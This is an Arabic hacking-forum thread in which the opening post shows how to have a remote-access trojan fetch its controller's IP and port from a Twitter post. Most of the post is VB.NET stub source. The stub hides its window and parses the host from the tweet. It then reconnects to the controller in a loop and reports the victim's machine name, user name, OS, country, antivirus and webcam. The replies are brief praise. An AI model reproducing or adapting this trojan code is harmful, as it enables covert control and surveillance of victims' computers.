حالة الموضوع:
مغلق
  1. Ihabou

    Ihabou Developer

    الأنتساب:
    ‏27 ابريل 2015
    المشاركات:
    15
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    [​IMG]
    '

    :. , والصلاة , و السلام على , أشرف المرسليـن , الحمد لله وحده , نحمده و , نشكره و نستعينه , و نستغفره ,

    :. , ونعود , بالله من , شرور , أنفسنا و من , سيئات , أعمالنا من يهده ,الله فلا مظل له , و من يظلل , فلن , تجد ,

    :. , له و ولياً مرشدا , وأشهد , ألا إلاه إلا الله , وحده لا شريك , له , وأن محمداً , عبده ورسوله , صلى الله , عليه وسلم ,

    :. , وعلى , آله وصحبه , أجمعين , و من تبعهم , بإحسان , إلى يوم , آلدين ,

    :. , أمـآ , بـعد , .:

    :. , فآن , آصدق آلحديث , كتآب , الله تعآلى , وخير , آلهدى هدي , سيدنـآ محمد , صلى الله علية , وسلم , .:

    :. , وشر , آلأمور محدثآتة , وكل , محدثة بدعة وكل , بدعة , صلآلة وكل , صلآلة في , آلنأر , .:

    :. , فآللهم , آجرنآ وقتنآ , وعذآبة , برحمتك , يآ آرحم , آلرأحمـين , .:



    |[ ------------------------------------------------------------------ ]|

    كيف حآلكم حبآيبي زوآر وآعضآء ومشرفين المنتدى الغآالي .

    DeV-PoinT

    إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر [​IMG] [​IMG]

    الموضوع كتكملة لموضوعي الأول [​IMG]

    قل وداعا للنو إيبي و مواقع الهوستات | إتصل بالضحايا عبر صفحات و حسابات الفيس بوك

    و الآن راح نواصل التطوير ...

    اليوم و الحمد لله تمكنت من تحديث الإيبي الخاص بالرات عبر تغريدة تويتر

    هاذي المرة رفعت الإيبي و البورت على التغريد وقت باستدعائهما مرة أخرى

    و الإتصال بالضحايا [​IMG]

    أولا صورة توضيحية بسيطة

    [​IMG]


    كما ترون برنامج بسيط استخدمته أولا من انو الشغل تمام و أنو الهوست و البورت

    يتم استدعائهما بشكل سليم [​IMG]

    مثال تطبيقي على سورس رات بسيط هنا أقصد الستب [​IMG]

    يرجي قرائته جيدا لكي تعرف ماذا تعدل [​IMG]

    [C#]
    Imports System.Globalization
    Imports System.IO
    Imports System.Text.RegularExpressions

    Public Class Form1
    Public RichTextBox1 As String
    Public TextBox1 As TextBox
    Public TextBox3 As TextBox
    Public TextBox4 As TextBox
    Public hidme As Object
    Public WithEvents c As New SocketClient 'تعريف متغير من السوكت
    Private culture As String = CultureInfo.CurrentCulture.EnglishName
    Private country As String = culture.Substring(culture.IndexOf("("c) + 1, culture.LastIndexOf(")"c) - culture.IndexOf("("c) - 1) ' متغير محفوظ فيه اسم الدوله
    Public host As String
    Public port As String
    Public cap As New CRDP
    Public Yy As String = "||"
    Dim alaa(), text1, text2 As String
    Dim spl As String = "abccba"
    Public cam As New cam.A
    Public Y As String
    Private Sub data(ByVal b As Byte()) Handles c.Data
    Dim ala As String() = Split(BS(b), "||") ' اريه من نوع سترينغ تقسم البانات القادمه اعتمادا على "||"
    'جمله شرطيه بالاعتماد على اول كلمه يرسلها الكلاينت
    Try
    Select Case ala(0)
    Case "info"
    c.Send("info" & "||" & "myID" & "||" & Environment.MachineName & "/" & Environment.UserName & "||" & My.Computer.Info_OSFullName & "||" & country & "||" & getanti() & "||" & Camcheck())


    End Select
    Catch ex As Exception
    End Try
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Dim Ihabou As String = Regex.Match(RichTextBox1, "(Ihabhost:).*?(</p>)", RegexOptions.IgnoreCase).Value
    TextBox1.Text = Regex.Match(Ihabou, ":(.*?)<", RegexOptions.IgnoreCase).Value
    Dim bb As String = TextBox1.Text.Replace(":", "")
    Dim aa As String = bb.Replace("<", "")
    Dim ar() As String = Split(aa, "|")
    host = ar(0)
    port = ar(1)
    Me.ShowInTaskbar = False
    Me.Hide()
    Me.Visible = False
    Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    'جمله شرطيه تفيد اذا لم يكن السيرفر متصل فعاود الاتصال
    If c.Statconnected = False Then
    c.Connect(host, port)
    End If
    End Sub
    Function HWD() As String
    Try
    Dim sn As Integer
    GetVolumeInformation(Environ("SystemDrive") & "", Nothing, Nothing, sn, 0, 0, Nothing, Nothing)
    Return (Hex(sn))
    Catch ex As Exception
    Return "ERR"
    End Try
    End Function
    Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, ByRef lpVolumeSerialNumber As Integer, ByRef lpMaximumComponentLength As Integer, ByRef lpFileSystemFlags As Integer, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Integer) As Integer
    '=============================== Cam Drivers
    Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
    ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
    ByVal cbVer As Integer) As Boolean
    Public Function Camcheck() As Boolean
    Try
    Dim d As String = Space(100)
    For i As Integer = 0 To 4
    If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
    Return True
    End If
    Next
    Catch ex As Exception
    End Try
    Return False
    End Function
    End Class

    [/C#]


    سورس إضافي للمساعدة

    [C#]
    Dim Ihabou As String = Regex.Match(RichTextBox1.Text, "(Ihabhost:).*?(</p>)", RegexOptions.IgnoreCase).Value
    TextBox1.Text = Regex.Match(Ihabou, ":(.*?)<", RegexOptions.IgnoreCase).Value
    Dim bb As String = TextBox1.Text.Replace(":", "")
    Dim aa As String = bb.Replace("<", "")
    Dim ar() As String = Split(aa, "|")
    Dim host As String = ar(0)
    TextBox4.Text = host
    Dim port As String = ar(1)
    TextBox3.Text = port

    [/C#]


    طبعا كل ماتبي تغير الهوست فقط احذف التغريدة القديمة وحط الجديدة [​IMG]
    بالتوفيق للجميع [​IMG]
     
  2. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم

    روعة احسنت ننتضر جديدك


    بس عندك غلط بلطبع المنشور انت في عراق تيم وليس في الديف بوينت تقبل مروري
     
  3. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    عراق تيم

    مو دبف بوينت -_-


    تامهم عاشت ايدك ^_^
     
  4. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    تامهم شنو هاي ترة دخت بيها :)
     
  5. Security ALqassem

    Security ALqassem قراصنة القاسم Developer

    الأنتساب:
    ‏7 سبتمبر 2015
    المشاركات:
    133
    الإعجابات المتلقاة:
    34
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    عشت بطل
     
  6. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    هههههههههههههههههههههههه يعني المهم ^_^ غلطت يعني ميصير :3
     
  7. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر



    عادي حبيب سبحان الميغلط


    المهم فهمت الكلمة وتم التوضيح


    امنور جعفر الشمري


    :lolًٌُ:ٌ :ُeُe11::lolًٌُ:ٌ​
     
  8. علي الخاسفون هناا

    علي الخاسفون هناا Developer

    الأنتساب:
    ‏26 نوفمبر 2015
    المشاركات:
    71
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    استمر ورده
     
  9. اوجاع

    اوجاع موقوف لمخالفة الشروط

    الأنتساب:
    ‏28 سبتمبر 2015
    المشاركات:
    185
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    المخالفات
    3
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    يعطيك العافيه على النقل ومشكور ء
     
  10. GenTel

    GenTel موقوف لمخالفة الشروط

    الأنتساب:
    ‏22 يناير 2016
    المشاركات:
    77
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    المخالفات
    3
    رد: إنتهي عصر مواقع الهوست | حدث الإيبي وإتصل بالضحايا عبر تغريدات تويتر

    {1!$2}مشكور
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة